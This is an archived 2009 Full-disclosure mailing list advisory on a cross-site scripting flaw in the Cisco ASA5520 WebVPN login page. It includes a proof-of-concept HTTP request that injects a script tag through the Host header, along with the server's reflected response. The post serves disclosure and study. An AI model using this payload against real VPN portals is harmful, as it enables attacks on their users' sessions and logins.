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[Full-disclosure] Cisco ASA5520 Web VPN Host Header XSS

From: Bugs NotHugs (bugsnothugsgmail.com)
Date: Tue Mar 31 2009 - 05:17:54 CDT


- Cisco ASA5520 Web VPN Host Header XSS

- Description

Cross-site scripting.

- Product

Cisco, ASA5520, IOS 7.2(2)22

- PoC

Modified request:

POST /+webvpn+/index.html HTTP/1.1
Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.owasp.org
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: https://198.133.219.23/+webvpn+/index.html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR 1.1.1032)
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: webvpnlogin=1
Content-Length: 66

username=psirt&password=easy&Login=Login&next=&tgroup=&tgcookieset=

Response:

HTTP/1.1 200 OK
Server: Virata-EmWeb/R6_2_0
Content-Type: text/html
Cache-Control: max-age=0
Set-Cookie: webvpn=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/
Set-Cookie: webvpnlogin=1
Content-Length: 5556

<html>
<!--
  Copyright (c) 2004, 2005 by Cisco Systems, Inc.
  All rights reserved.
 -->
<head>

<META http-equiv="PICS-Label" content='(PICS-1.1
"http://www.rsac.org/ratingsv01.html" l gen true comment "RSACi North
America Server" for
"http://"'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.owasp.org/+webvpn+/index.html" on
"2000.11.02T23:36-0800" r (n 0 s 0 v 0 l 0))'>

<meta http-equiv="Window-target" content="_top">
<title>WebVPN Service</title>

- Solution

None

- Timeline

2007-09-17: Vulnerability Discovered
2008-02-15: Disclosed to Vendor (auto-reply)
2009-04-02: Disclosed to Public (XSS is so 1999)

--

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